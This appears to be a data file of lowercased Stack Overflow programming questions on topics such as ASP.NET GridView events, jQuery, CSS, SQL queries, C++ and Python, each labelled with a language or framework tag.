how to capture row data from a gridview_rowupdated event  i m trying to create a log table that captures a copy of any row that is edited/updated  or deleted.<br> i m able to capture the edit and delete row information just fine  but the rowupdated event capture is always blank.  the index of the row i m trying to capture is correct on rowupdated  but the row in the database is empty.      here are the rowcommand and rowupdated methods for comparison - they are basically identical  but seem to function differently.  any help would be appreciated  thanks!   <pre><code>    protected void accountratesgridview_rowcommand(object sender  gridviewcommandeventargs e)     {          string type = e.commandname.tostring();         int index = convert.toint32(e.commandargument);         while (accountratesgridview.rows[index] == null) { }         gridviewrow row = accountratesgridview.rows[index];         errorlabel2.text = index.tostring();         accountrateslog(row  type);     }      protected void accountratesgridview_rowupdated(object sender  gridviewupdatedeventargs e)     {         accountratesgridview.databind();         string type =  update ;                     gridviewrow row = accountratesgridview.rows[indexupdate];         accountrateslog(row  type);         errorlabel3.text = row.tostring();       }     protected void accountratesgridview_rowupdating(object sender  gridviewupdateeventargs e)     {                   indexupdate = convert.toint32(e.rowindex);      } </code></pre>,.net
pass by reference notation in c++  hi can anyone explain difference between the following declaration as i am new to c++:    <code>t&amp; s</code> vs  <code>t &amp; s</code>.    what s the difference between the above notation.    thanks.,c++
jquery serialize add additional data  i use serialize to submit forms seperate within a jquery tab. the post data is passed fine  but i want to add some additional pre defined data  is there a way to add some somewhere behind the data: or somewhere else    <pre><code>$.ajax({     type: post       url:this.id+ .php       cache: false                         data: $( # +this.id).serialize()      success:function(data){         wijziging_nog_bevestigen = 0;         $(innertab).html(data);     }        }); </code></pre>,jquery
use of the ~ in css <pre><code>    .main-navigation ul li.menu-item-has-children:hover~li {     opacity: 0; } </code></pre>   taken from my wordpress theme. what is the meaning of ~li (with the ~ character)     thank you,css
rails has_one with multiple conditions  i want to create a has_one association whose conditon will have a inner query.   <pre><code> class a &lt; activerecord::base     has_one :table_b  :order =&gt;  id asc  :class_name =&gt;  b  :conditions =&gt;     end </code></pre>   schema of table_b   <pre><code>table_b  id name </code></pre>   corresponding sql query i want to generate -    <pre><code>select * from table_b where name =  dummy  and id in (select * from table_b order by id limit 1) </code></pre>   is it possible to write a condition which can execute this sql statement.,ruby-on-rails
how to get js dropzone filename and have it stored in database using c# generic handler file  i have been struggling with this particular problem for some weeks now. here is what i have tried so far....any assistance will be well appreciated. thanks   <pre><code>string dirfullpath = httpcontext.current.server.mappath( ~/media/ ); string[] files; int numfiles; files = system.io.directory.getfiles(dirfullpath); numfiles = files.length; numfiles = numfiles + 1;  string str_image =   ;  foreach (string s in context.request.files) {     httppostedfile file = context.request.files[s];     string filename = file.filename;     string fileextension = file.contenttype;      if (!string.isnullorempty(filename))     {         string id =   ;         string name =   ;         if (context.session[ id ] != null)             id = context.session[ id ].tostring();         name = context.session[ nn ].tostring();         fileextension = path.getextension(filename);         str_image =  myphoto  + numfiles.tostring() + fileextension;         string pathtosave = httpcontext.current.server.mappath( ~/media/ ) + str_image;         file.saveas(pathtosave);     } } context.response.write(str_image); </code></pre>   }   <pre><code>public bool isreusable {     get {         return false;     } } </code></pre>   },asp.net
convert first column of data from text file into a list in python  i want to convert the first column of data from a text file into a list in python       <pre><code>data = open ( data.txt    r ) data.read() </code></pre>   provides   <pre><code> 12 45\n13 46\n14 47\n15 48\n16 49\n17 50\n18 51  </code></pre>   any help  please.,python
comparison of the pointers in c  i have some simple question  when i do something like that:   <pre><code>int* ptr1 int* ptr2  if(ptr1 == ptr2)... </code></pre>   what do i actually compare:   <pre><code>1. addresses where ptr1 and ptr2 saved 2. addresses where content of pointers saved </code></pre>   if there is 1  how can i check 2,c
trying out priority queues and my offer method isn t putting items at the end  my program works fine until i poll out a few items and then add in  at times my offer method puts an item in the front of the queue instead of the back. i ve added in a few print statements so one can see what is happening in the queue.   <pre><code>import java.util.*;  public class priorityq {    public static void main(string[] args) {       scanner s = new scanner(system.in);       priorityqueue&lt;string&gt; q = new priorityqueue&lt;string&gt;();       string input =   ;       while (!input.equals( x )) {          input = s.nextline();          if (input.equals( o ) &amp;&amp; q.peek() == null) {             system.out.println( buffer empty );          }          else if (!input.equals( o )) {                q.offer(input);             system.out.println(q);          }          else if (q.peek() != null &amp;&amp; input.equals( o )) {             system.out.print( data:  );             system.out.printf( %s    q.peek());             q.poll();             system.out.println();             system.out.println(q);          }       }    } } </code></pre>   i/o is as follows:   <pre><code>line1 [line1] line2 [line1  line2] line3 [line1  line2  line3] o data: line1  [line2  line3] o data: line2  [line3] line1 [line1  line3] </code></pre>   the last line is my issue  it puts line1 in front of line3. thanks for the help :),java
how to speech korea thai russian japan in ispeech of ios   i want to text to speech korea thai russian japan in <strong>ispeech</strong> of ios.    is that possible     if it can be   how can i do that     any others sdk can speech above languages     thanks in advanced.,ios
what is diffrence between response.write and response.output.write  what is difference between response.write and response.output.write please give me example,asp.net
timesplices in objective c  i have converted the following code from cpp to objective c   <h2>xyz.h</h2>  <pre><code>#define declare_rs232_newmsg(classname classid)                 \ +(classname*)frommsg:(rs232msg*)pmsg                            \ {                                                               \ classname* ivar = [[classname alloc]init];                      \ return [ pmsg];                                                 \ }                                                               \ +(rs232msg*)newmsg                                              \ {                                                               \ return new classname;                                           \ }                                                               \ enum {id = classid};           </code></pre>   xyz.m   <pre><code>@implementation rs232msggeteventdescriptions  + (id)getid {     declare_rs232_newmsg(rs232msggeteventdescriptions rm_get_event_descriptions);     return id; }  @end </code></pre>   getting errors when using <strong>newmsg</strong>   <strong>id</strong>   <strong>frommsg</strong> from other files.i have included all the header files.    edited:    rs232msggeteventdescriptions.h   <pre><code>#define declare_rs232_newmsg(classname  classid)   \ enum {id = classid};                               \ @interface classname: nsobject {}                  \ +(classname*)frommsg:(rs232msg*)pmsg;              \ +(rs232msg*)newmsg;                                \ @end;  #define define_rs232_newmsg_implementation(classname  classid) \ +(classname*)frommsg:(rs232msg*)pmsg                           \ {                                                              \ classname* ivar = [[classname alloc]init];                     \ return [ivar pmsg];                                            \ }                                                              \ +(rs232msg*)newmsg                                             \ {                                                              \ return [[classname alloc]init];                                \ }                                                              \ + (id)getid                                                    \ {                                                              \ return id;                                                     \ }                                                              \  @interface rs232msggeteventdescriptions : rs232msg{ @public declare_rs232_newmsg(rs232msggeteventdescriptions rm_get_event_descriptions); } @end     </code></pre>   rs232msggeteventdescriptions.m   <pre><code>@implementation rs232msggeteventdescriptions -(id)init {     if (self = [super init]) {         define_rs232_newmsg_implementation(rs232msggeteventdescriptions rm_get_event_descriptions);     }     return self; } @end </code></pre>   frommsg undeclared and newmsg undeclared error occurs.    error: expected specifier-qualifier-list before  interface     error: expected specifier-qualifier-list before  +  token    error: expected specifier-qualifier-list before  end     error: expected specifier-qualifier-list before  interface     error: expected specifier-qualifier-list before  +  token    error: expected specifier-qualifier-list before  end     error:  newmsg  undeclared (first use in this function),objective-c
can  expressionvaluewithobject  method interpret numbers as floats instead of integers   i am making a calculator that logs input in a label named  inputlabel  and then outputs the answer in a different label named  outputlabel  (similar to a graphing calculator).  once the user is finished entering the expression  the expression is stored in an nsstring object and then parsed with the nspredicate class and evaluated with the nsexpression class.  what i have works  but i have noticed for particular operations the answers are not correct.  for example  if the user types in  25/2  the calculator returns 12  which is obviously incorrect.  however  if the user types in  25/2.0  or  25.0/2  the calculator returns 12.5 which is what i want.  it seems that the nsexpression method  expressionvaluewithobject  is interpreting the operands as integers instead of floats.  if this is the case  is there a way that i change the  expressionvaluewithobject method to interpret the operands as floats     brain.m   <pre><code>-(float)performcalculation: (nsstring *)operation {     nspredicate *parsed = [nspredicate predicatewithformat:[operation stringbyappendingstring:@ =1.0 ]];     nsexpression *inputexpressionparsed = [(nscomparisonpredicate *)parsed leftexpression];     nsnumber *result = [inputexpressionparsed expressionvaluewithobject:inputexpressionparsed context:nil];      return [result floatvalue]; } </code></pre>   viewcontroller.m   <pre><code>- (ibaction)equalspressed:(id)sender {     //self.inputlabel.text = [self.inputlabel.text stringbyappendingstring:@ .0 ];     nsstring *inputexpression = self.inputlabel.text;     self.inputlabel.text = [self.inputlabel.text stringbyappendingstring:@ = ];     float result = [self.brain performcalculation:inputexpression];     self.outputlabel.text = [nsstring stringwithformat:@ %g   result]; } </code></pre>,objective-c
select non-duplicate data from table1 and insert into table2  i have a table we ll call table1 with a bunch of junk data in it and no unique identifier column.     i want to select some columns from table1 and transfer the data to table2. however  i want to prevent duplicate entries from 3 of the columns from being inserted.     let s say i have a row with desired columns <code>[firstname]</code>  <code>[lastname]</code>  <code>[companyname]</code>  <code>[city]</code>  and <code>[state]</code> to be transferred. i want only the rows with unique combinations of <code>[firstname]</code>  <code>[lastname]</code>  and <code>[companyname]</code> to be copied to table2 along with their respective <code>[city]</code> and <code>[state]</code>.,sql
"how do i use rowspan to cover 1.5 times the cell   this code does not make the last 2 cells cover the 3 three rows. how should i fix it <br> here s the code:    <div class= snippet  data-lang= js  data-hide= false >
 <div class= snippet-code >
 <pre class= snippet-code-html lang-html prettyprint-override ><code>        &lt;table border= 2 &gt;
    &lt;tr&gt;
     &lt;th rowspan= 3 &gt;day&lt;/th&gt;
     &lt;th colspan= 3 &gt;seminar&lt;/th&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
     &lt;th colspan= 2 &gt;schedule&lt;/th&gt;
     &lt;th rowspan= 2 &gt;topic&lt;/th&gt;
    &lt;/tr&gt;
    &lt;tr&gt;&lt;th&gt;begin&lt;/th&gt;&lt;th&gt;end&lt;/th&gt;&lt;/tr&gt;
    &lt;tr&gt;
     &lt;td rowspan= 2 &gt;monday&lt;/td&gt;
     &lt;td rowspan= 2 &gt;8:00 a.m.&lt;/td&gt;
     &lt;td rowspan= 2 &gt;5:00 p.m.&lt;/td&gt;
     &lt;td&gt;introduction to xml&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;&lt;td&gt;validity:dtd and relax ng&lt;/td&gt;&lt;/tr&gt;
    &lt;tr&gt;
     &lt;td rowspan= 3 &gt;tuesday&lt;/td&gt;
     &lt;td&gt;8:00 a.m.&lt;/td&gt;
     &lt;td&gt;11:00 a.m.&lt;/td&gt;
     &lt;td rowspan= 1.5 &gt;xpath&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
     &lt;td&gt;11 a.m.&lt;/td&gt;
     &lt;td&gt;2:00 p.m.&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
     &lt;td&gt;2:00 p.m.&lt;/td&gt;
     &lt;td&gt;5:00 p.m.&lt;/td&gt;
     &lt;td rowspan= 1.5 &gt;xsl transformations&lt;/td&gt;
    &lt;/tr&gt;
   &lt;/table&gt;</code></pre>
 </div>
 </div>
     the rowspan doesn t allow 1.5. how can i do it without doubling all the rows and columns",html
align button inline with bootsrap css  here i have kept two button which should be inline but <code>login facebook</code> button get mis aligned. why      fiddle : <a href= http://jsfiddle.net/karimkhan/3ny2u/1/  rel= nofollow >fiddle</a>   <pre><code>&lt;div class= container &gt;      &lt;div class= row &gt;         &lt;input id= loginbutton  class= btn btn-primary  type= button  value= login | facebook  onclick= authuserx();  style= display: block; &gt;&lt;/input&gt;         &lt;a href= ./redirect.php &gt;             &lt;input id= logintwitter  class= btn btn-primary  type= button  value= login | twitter  &gt;&lt;/input&gt;         &lt;/a&gt;     &lt;/div&gt;  &lt;/div&gt; </code></pre>,css
objective-c strings: why don t you need a setter/getter   i m just beginning  and i m a little hung up on this. i may have a fundamental misunderstanding with which you can kindly help me out.    why is it that you can assign a string value to an nsstring* (and  i m sure  many other object types) directly  e.g.     <blockquote>    nsstring* s = @ hello  world! ;  </blockquote>   whereas the following code  i believe  would assign to s2 s1 s <em>pointer</em> value (and therefore only incidentally provide s2 with a string value)    <blockquote>    nsstring* s1 = @ hello  world! ;        nsstring* s2 = s1;  </blockquote>   for many objects  don t you have to indicate a property  a.k.a. instance variable  to which you want to assign a value (i.e.  use a setter method)  shouldn t the object itself accept assignments only of pointer values  or do classes such as nsstring automatically reinterpret code such as the first example above to assign the indicated string to an implied instance variable using an implied setter,objective-c
"how to switch between text/headings with textarea with jquery   i have some html code that i want to add inline-editable box to. i want to be able to edit the content clicked. right now the text are replaced with textarea containing the text value. but i m not able to type in new values in the textarea.     any ideas on why i cant edit the contents of the textarea     <div class= snippet  data-lang= js  data-hide= false  data-console= true  data-babel= false >
 <div class= snippet-code >
 <pre class= snippet-code-js lang-js prettyprint-override ><code>$( h1 h2 h3 h4 h5 h6 p ).click(function() {
   var element = $(this);
 
   $(element).after().html( &lt;textarea class= form-control &gt;  + $.trim($(element).text()) +  &lt;/textarea&gt; );
 
   $( textarea ).mouseout(function() {
     element.html($(this).val());
   });
 });</code></pre>
 <pre class= snippet-code-html lang-html prettyprint-override ><code>&lt;script src= https://ajax.googleapis.com/ajax/libs/jquery/2.1.1/jquery.min.js &gt;&lt;/script&gt;
 &lt;h2&gt;this is a h2&lt;/h2&gt;
 &lt;p&gt;some text here&lt;/p&gt;</code></pre>
 </div>
 </div>",jquery
resizing images to fit a square using css  i have a collection of images which i am resizing to a set width  and allowing the height to be set automatically. all images are either square  or wider than they are tall and what i would like is to have a  letterbox/widescreen  effect for the non-square images. is there a way to have the image centred vertically inside a square border using css     edited to add a very rough and ready layout. i d also like the images to wrap  so that if the screen is zoomed in there may be only two on a row.    <img src= https://i.stack.imgur.com/xoxha.jpg  alt= enter image description here >,css
c++ get current date output weird result  my output is unreadable  all i wanted to do is assign the day month year into a string.    if i cout them by now->tm_year+1900   it works  but if i assign it to a string and cout later  it output like this. how do i change my code so i can assign the value to string without losing reference later on cout.    terminal:   <pre><code>date is  </code></pre>   my code:   <pre><code>int main() { //get today date string year month day;  /* output 6 month frame for appointment booking*/  time_t t = time(0);   // get time now  struct tm * now = localtime( &amp; t );  year = now-&gt;tm_year + 1900; month = now-&gt;tm_mon + 1; day = now-&gt;tm_mday;  cout &lt;&lt;  date is   &lt;&lt; year &lt;&lt; month &lt;&lt; day &lt;&lt; endl;  return 0; } </code></pre>,c++
how can i take image upload value  in my .aspx             <pre><code>&lt;div id= picturebox &gt;                             &lt;img width= 150  height= 150  runat= server  id= imagefield  /&gt;                         &lt;/div&gt;                         &lt;br /&gt;                         &lt;input id= upload  style= width: 200px; font-family: myanmar3;  type= file  name= upload                              runat= server  accept= image/*  &gt;                         &lt;br /&gt;                         &lt;asp:button id= imagebutton1  runat= server  onclick= upload_click  cssclass= stylebutton                              text= upload  /&gt; </code></pre>   in my .cs     <pre><code>  protected void upload_click(object sender  eventargs e)     {           if (upload.value !=  )         {             system.io.stream fs = upload.postedfile.inputstream;             img_uploadstream = upload.postedfile.inputstream;             system.io.binaryreader br = new system.io.binaryreader(fs);             byte[] bytes = createthumbnail(br.readbytes((int32)fs.length) 150);             string base64string = convert.tobase64string(bytes  0  bytes.length);             imagefield.src = string.format( data:{0};base64 {1}    image/jpeg   base64string);          }     } </code></pre>   the image has upload and show successfully in  imagefield    but the value field of  upload  input is empty when after  upload_click  event .  i want to take this value back to make another process !,asp.net
last callback function acting weird <pre><code>&lt;div class= actions_container  id= message_form_container &gt; ...&lt;input type= text  id= message  /&gt;... &lt;/div&gt; &lt;div class= actions_container  id= coffee_form_container &gt; ...&lt;input type= text  id= coffee_message  /&gt;... &lt;/div&gt; &lt;div class= actions_container  id= network_form_container &gt; ...&lt;input type= text  id= network_message  /&gt;... &lt;/div&gt;         &lt;select name= dropdown  id= select_action &gt;      &lt;option value= message &gt; option 1 &lt;/option&gt;     &lt;option value= coffee &gt; option 2 &lt;/option&gt;     &lt;option value= network &gt; option 3 &lt;/option&gt;      &lt;/select&gt; </code></pre>   jquery:   <pre><code> $j( #select_action ).bind( change   function(e) {           var current_val = $j( #select_action ).val();               //console.log( testing dropdown change | bbbbb );         if (current_val ==  message ) {              $j( .actions_container ).slideup( fast   function() {             $j( #message_form_container ).slidedown( slow   function() {                      $j( #message_container_m2 ).slideup( fast   function() {                     $j( #message_container_m1 #message ).val(  );                        $j( #message_container_m1 ).slidedown( slow );                      });                 });             });         } else if(current_val ==  coffee ) {             $j( .actions_container ).slideup( fast   function() {             $j( #coffee_form_container ).slidedown( slow   function() {                      $j( #message_container_c2 ).slideup( fast   function() {                     $j( #message_container_c1 #coffee_message ).val(  );                         $j( #message_container_c1 ).slidedown( slow );                      });                 });             });         } else if(current_val ==  network ) {              $j( .actions_container ).slideup( fast   function() {             $j( #network_form_container ).slidedown( slow   function() {                      $j( #message_container_n2 ).slideup( fast   function() {                     $j( #message_container_n1 #network_message ).val(  );                        //$j( #message_container_n1 ).slidedown( slow );                      });                 });             });         }       }); </code></pre>   journeyman here.    the last case where if current_val == add_to_network .. makes the #network_form_container slide down twice. once it happens to the third it also happens to the 2nd .. until i select the 1st option..then the 2nd starts behaving normally again.     would also like to see how you would write this more efficiently  nothing very high level.,jquery
storing values with multiple lines with multiple dictionaries  i am trying to help out a friend by writing a program that continuously reads temperatures updates from his cooling machines    the code should go through cooling machine data to register the temperatures. periodically the following data will be printed: highest temperature per machine  lowest temperature  highest temperature  and top 5 temperatures overall.    below tempinput will be received every 5 minutes in the format below.  for explanation purposes i have added a second line of tempinput to this code (received 5 minutes later).   <pre><code>tempinput = [ {  machine : cool-01    date : 01/01/2018    time : 12:25:00     currtemp : 23.52 }  { machine : cool-02    date : 01/01/2018    time : 12:25:00     currtemp : 22.02 } ] #tempinput = [ #{ # machine : cool-01   # date : 01/01/2018   # time : 12:30:00    # currtemp : 23.50 }  #{ machine : cool-02   # date : 01/01/2018   # time : 12:30:00    # currtemp : 22.12 } #] </code></pre>   the key = machine. i then want to store the values per machine in such a way that it will keep the values of the last 2 hours per machine in memory (= 24 readings). after the first 24 readings and assignments i want the system to  remove  the oldest stored value (based on an index not on time as this is sometimes ‘off’) and then place the other 23 lines a place down the ladder and fill the removed value with the latest values...     i am really struggling how i can store the data as described above. after  for key in dict_in_list   i am lost (do not know how to proceed). i cant get my head around the storing of 24 lines of data per machine. i hope someone can point me in the right direction and that my question is not downgraded (i have searched through the entire stackoverflow site and could not find any example that i understood / reflects my request). thanks in advance.   <pre><code>  for dict_in_list in tempinput:       for key in dict_in_list:         .....here i am stuck; tried a lot of ways but nothing works </code></pre>,python
in an ng-repeat i am comparing a string  is it faster to compare numbers   i am using this logic for some simple template logic in angular 1.5:    <pre><code>&lt;p ng-if= mydata.type !==  customer  &gt;&lt;/p&gt;  </code></pre>   would it be be faster from a performance perspective to use numbers instead of a string comparison   ie   <pre><code>&lt;p ng-if= mydata.type !==  0  &gt;&lt;/p&gt;   </code></pre>,angularjs
open html link in new  named tab  i am trying to open some links in a new tab  however i d like to be able to open the same link in the same tab  should it be clicked again.    for example:   <pre><code>&lt;a href= foo/0001  target= foo &gt;foo&lt;/a&gt; </code></pre>   would open in a new tab and    <pre><code>&lt;a href= bar/0001  target= bar &gt;bar&lt;/a&gt; </code></pre>   would open in another new tab however should i then click   <pre><code>  &lt;a href= foo/0002  target= foo &gt;foo&lt;/a&gt; </code></pre>   i would want to open this in the tab i previously opened with the target of foo.,html
sharing data between controllers  i am making first steps in angular.js and faced the problem when variable available in scope is no longer available in router view. setup is as follows:   <pre><code>var vapp = angular.module( appg   [ ngroute    appg.directives ])   .config(function($routeprovider  $locationprovider) {       $routeprovider         .when( /   {templateurl:  /partials/form.html   controller:  ctrlmain })         .when( /welcome   {templateurl:  /partials/welcome.html   controller:  ctrlmain })         .otherwise({redirectto:  / });   });  validationapp.controller( ctrlmain   function($scope  $http  $location) {  $scope.user = {};  $scope.submitform = function () {     $http.post( /signup   $scope.user).        success(function(data) {           $location.url( /welcome );       });       };  $scope.submitdata = function () {     if ($scope.signupform.$valid) {         $scope.submitform();     } else {         $scope.signupform.submitted = true;     }     };     </code></pre>   });    html code:   <pre><code>  &lt;html ng-app= appg &gt;       &lt;div ng-controller= ctrlmain &gt;          &lt;ng-view&gt;&lt;/ng-view&gt;          &lt;/div&gt;     &lt;/html&gt; </code></pre>   form.htm (just part of it):   <pre><code>&lt;form name= signupform  id= signupform  ng-submit= submitform()  novalidate&gt;   &lt;input type= text  class= text  ng-class= { submit-error  : signupform.submitted}  name= ufirst  placeholder= first name  ng-model= user.first  required/&gt; &lt;a href=   class= native  ng-click= submitdata() &gt;&lt;i class= fa fa-sign-in pull-left &gt;&lt;/i&gt;submit&lt;/a&gt; &lt;/form&gt; </code></pre>   welcome.html:   <pre><code>&lt;p&gt;{{user.first}}  thank you! &lt;/p&gt; </code></pre>   partial form.html contains form code with basic validation and works ok  partial welcome.html contain simple   with texts containing {{user.first}} (user has binding from form and name is a property of the user object. the problem is that {{user.first}} is always empty in welcome.html partial. i would appreciate any help to figure out how it is possible to pass value of the $scope.user to the second partial. thank you!,angularjs
jquery .next() returing null in ff but not in chrome  ie  opera!  i have literally spent hours trying to fix this but cant! like the title sais  the following code works in everything except firefox!    html   <pre><code>&lt;div class= bottom &gt;    &lt;fieldset&gt;      &lt;ul&gt;          &lt;li&gt;             &lt;label&gt;                 &lt;input type= radio  name= fronts  class= config-inp-cha  value= 1   checked= checked  /&gt;                    buckets w/ adj headrests                     ($&lt;div class= price-config &gt;179.97&lt;/div&gt;)             &lt;/label&gt;&amp;nbsp;          &lt;/li&gt;      &lt;/ul&gt;   &lt;/fieldset&gt; &lt;/div&gt;&lt;!--bottom--&gt; </code></pre>   javascript description: pretty simple  i am grabbing the value of the price-config div in reference to the checked value. this return nan in firefox  but works in every other browser! plzzz help   <pre><code> $(document).ready(function()   {     var fronts_price = parsefloat($( input[name=fronts]:checked ).next( .price-config ).html());     alert(fronts_price); }); </code></pre>,jquery
mysql report sql help  i have mysql table with data like this. record will have server with total cpu and virtual server with cpu assinged   <pre><code>type  cpu srv1    10 vsrv11  2 vsrv12   3 srv2    15 vsrv21  6 vsrv22   7 vsrv23   1 </code></pre>   from the above data  i want to create output like this.   <pre><code>server  total cpu  assigned cpu  free cpu srv1  10  5  5 srv2  15  14  1 </code></pre>   can you help me on creating sql query for this report    <hr>   i have changed my table and data like this.   <pre><code>create table `cpuallocation` (   `servertype` varchar(10) default null    `servername` varchar(20) default null    `hostname` varchar(20) default null    `cpu_count` float default null    unique key `server_uniq_idx` (`servertype` `servername` `hostname`)  insert into cpuallocation values( srv    server1      16); insert into cpuallocation values( vir    server1    host1  5); insert into cpuallocation values( vir    server1    host2  2.5); insert into cpuallocation values( vir    server1    host3  4.5); insert into cpuallocation values( srv    server2      8); insert into cpuallocation values( vir    server2    host1  5); insert into cpuallocation values( vir    server2    host2  2.5); insert into cpuallocation values( srv    server3      24); insert into cpuallocation values( vir    server3    host1  12); insert into cpuallocation values( vir    server3    host2  2); insert into cpuallocation values( srv    server4      12); </code></pre>   <strong>update:</strong>    i created two view  now i getting the result i want.   <pre><code>create view v1 as  select servername  sum(cpu_count) as cpu_allocated  from cpuallocation where servertype= vir  group by servername;  create view v2 as  select servername  cpu_count as total_cpu  from cpuallocation where servertype= srv ;  select a.servername  a.total_cpu  b.cpu_allocated  from v2 as a left join v1 as b on a.servername=b.servername;  +------------+-----------+---------------+ | servername | total_cpu | cpu_allocated | +------------+-----------+---------------+ | server1    |        16 |            12 | | server2    |         8 |           7.5 | | server3    |        24 |            14 | | server4    |        12 |          null | +------------+-----------+---------------+ 4 rows in set (0.00 sec) </code></pre>   is it possible to create a query with-out creating views,mysql
sql query - converting rows of a table into columns  i have a weird question of sql.     i have 2 tables  say products(with columns pid and pname) and rules(with columns rid and rname)  and these two tables have nothing in common. the product table has 100 rows and the rule table has 16 rows.     i need to write a query in such a way that the result that i get has the pname as the first column  and the rest of the columns are the 16 rows of the table rule. in other words  i need to convert the rows of the table rule in the columns of the result. so  in the result  i should be able to have 100 rows(all pnames from product table) and 17 columns(pname and 16 rows from rule table).    can you please help me write such a query  i tried using the case statements to convert the rows into columns  but when combined with the result of the product table  the number of rows that i get is a cartesian product of both the product and the rule tables  which i dont want. i want the number of rows to be equal to the rows in the product table  and the number of columns to be equal to the rows in the rule table. can you please help,sql
read integers from a text file with c++ ifstream  i want to read graph adjacency information from a text file and store it into a vector.   <ul> <li> the file has arbitrary number of lines  </li> <li> each line has arbitrary number of integers ended with  \n  </li> </ul>   for example    <pre><code>first line: 0 1 4 second line: 1 0 4 3 2 thrid line: 2 1 3 fourth line: 3 1 2 4 fifth line: 4 0 1 3 </code></pre>   if i use getline() to read one line at a time  how do i parse the line (as each line has variable number of integers)     any suggestions,c++
how to overlay elements  after trying every possible variation of position: relative/absolute/etc and negative margins  i m wondering if someone can tell me how to get the two green bars to overlay the header image - at top and bottom - at <a href= http://itlaunchpad.patienceandfortitude.com/iphone-cant-get-your-email/  rel= nofollow >http://itlaunchpad.patienceandfortitude.com/iphone-cant-get-your-email/</a>.    *note that the main header has to remain an img and not become a background property due to the way wordpress  custom image header handles responsiveness.    many thanks!,css
to get the current .net framework version  i build my c# project with .net 3.5 sp1 platform. my code will be compiled and for other .net platform versions too (but later). i need to get the current .net framework version in my code. console output (information about the installed versions i get from the registry):   <pre><code>installed .net framework versions: v2.0.50727      2.0.50727.5420   sp2 v3.0    3.0.30729.5420   sp2 v3.5    3.5.30729.5420   sp1 v4.5.1 client   4.5.50938 v4.5.1 full     4.5.50938 v4.0 client     4.0.0.0 *** current .net framework version: 2.0.50727.5477 press any key for exit... </code></pre>   i understand the .net 3.0 and 3.5 are based on .net 2.0  but i need to get an exact version of current platform  instead of base platform version.    <ol> <li>why did i get (via the <code>environment.version</code>) <strong>2.0.50727.5477</strong> instead of <strong>3.5.30729.5420</strong> </li> <li>why does the current version have <strong>.5477</strong> instead of <strong>.5420</strong> in the last number of the version string </li> <li>how can i get the exact version of the current .net framework </li> </ol>   my code is based on <a href= http://msdn.microsoft.com/en-us/library/hh925568%28v=vs.110%29.aspx  rel= nofollow >this article</a>:   <pre><code>static void main(string[] args) {   netframeworkinfo[] frameworks =      extendedenvironment.getinstallednetfameworkversions();   console.writeline( installed .net framework versions: );   foreach (netframeworkinfo item in frameworks) {     console.writeline(item);   }   console.writeline( *** );   version version = environment.version;   console.writeline( current .net framework version: {0}   version);   console.writeline( press any key for exit... );   console.readkey(); } </code></pre>,.net
is it ok to have overriden getters of an objective-c class be static   i have some existing code i m modifying from another developer.  they have a static nsstring declared as follows...   <pre><code>static nsstring *mystaticstring; </code></pre>   this string should be initialized before use.  what i m looking to do is have a property method overriden which will ensure the variable is set.  here s what my suggested layout would look like...   <pre><code>static nsstring *mystaticstring;  @interface myclass () @property (readonly) nsstring   *myproperty; @end  @implementation myclass +(nsstring *)myproperty {     if (!mystaticstring)       mystaticstring = [@ my string value!  retain];      return mystaticstring; } @end </code></pre>   the new thing for me here is i ve never declared a getter as a static method and to be honest i don t know if that is a good idea or not.,objective-c
mysql - update part of a string in a column  i am trying to replace some text in a column - text that i have confirmed exists. when i run the query:   <pre><code>select body from dbname.tcontent  where body like  %http://local.website.org%  and display=1 and approved=1; </code></pre>   it returns 359 records. so  i was expecting 359 records to be changed when i ran this query:   <pre><code>update dbname.tcontent  set body = replace(body   http://local.website.org    /foldername )  where instr(body   http://local.website.org ) &gt; 0  and display=1  and approved=1; </code></pre>   however  the query found 359 matches  but updated no columns. the message reads:  0 row(s) affected rows matched: 359 changed: 0 warnings: 0. i m pretty sure i ve got the sql correct as i ve confirmed it from at least three sources. i have read that the 359  matches  are based on records matching the where clause  and so i believe the problem is with that second line:   <pre><code>set body = replace(body   http://local.website.org    /foldername )  </code></pre>   even though the sql is correct. i ve unchecked  safe updates  in my preferences just to be sure  and still  no rows are being updated.     i still think that maybe the slashes and/or dots in the text i am replacing are tripping up the replace method despite an example of doing what i want to do <a href= https://wpbeaches.com/updating-wordpress-mysql-database-after-moving-to-a-new-url/  rel= nofollow >here</a>.    thanks in advance for any assistance!,mysql
is this function correct   is it correct to call that function in some exceptions   is that process correct   is it better to process each exceptions     <pre><code>def close_all():         try:                 ftp.close()         except:                 pass         try:                 tar.close()         except:                 pass         try:                 savelist.close()         except:                 pass         try:                 os.remove(tarname)         except:                 pass         exit() </code></pre>   thanks in advance.,python
does join order matter performance <pre><code>create table employee(  id int identity(1 1) primary key  username varchar(50)  firstname varchar(50)  lastname varchar(50)  departid int  )  create table departments(  id int identity(1 1) primary key  departmentname varchar(50)  )  </code></pre>   both join result set is same we get employee matching and non matching.   <pre><code>select * from employee e left join  departments d on  d.id= e.departid   select * from  departments d right join  employee e  on e.departid  =d.id </code></pre>,sql
how to remove extra spaces between two words in a string  <pre><code>viewbag.title =  hello (123) world  </code></pre>   what i want is:   <blockquote>     hello 123 world   </blockquote>   here is my code:   <pre><code>string input = viewbag.title; system.text.regularexpressions.regex re = new  system.text.regularexpressions.regex( [;\\\\/:* \ &lt;&gt;|&amp; ()-] ); viewbag.metatitle = re.replace(input     ); //    only one space here </code></pre>   using this  i am getting:   <pre><code>hello  123  world </code></pre>   there is extra one space between  hello  and  123  and  world  due to brackets. how can i remove those extra spaces,.net
mysql check count  i defined a table like this:   <pre><code>create table `wms__aktion_successor` (  `aktion_id` int(11) not null default  0    `successor_aktion_id` int(11) not null   primary key (`aktion_id` `successor_aktion_id`) ) </code></pre>   i am searching for two given <code>aktion_id</code> if they have the same <code>successor_aktion_id</code>. i know already  that they have only one entry each as <code>aktion_id</code>.    i thought about a solution with <code>all</code> or something like this  but i have no correct idea.    my initial idea was   <pre><code>select count(*)=2  from `wms__aktion_successor`  where    (       (`aktion_id`=5 and `successor_aktion_id`=6)         or       (`aktion_id`=13 and `successor_aktion_id`=6)   ) </code></pre>   but then i have to know the <code>successor_aktion_id</code>.,mysql
sql where clause not differentiate between  -  and null <pre><code>select a from table1 where a &lt;&gt;  -  </code></pre>   this query excludes <code>-</code> and also the null values. why the null values,sql
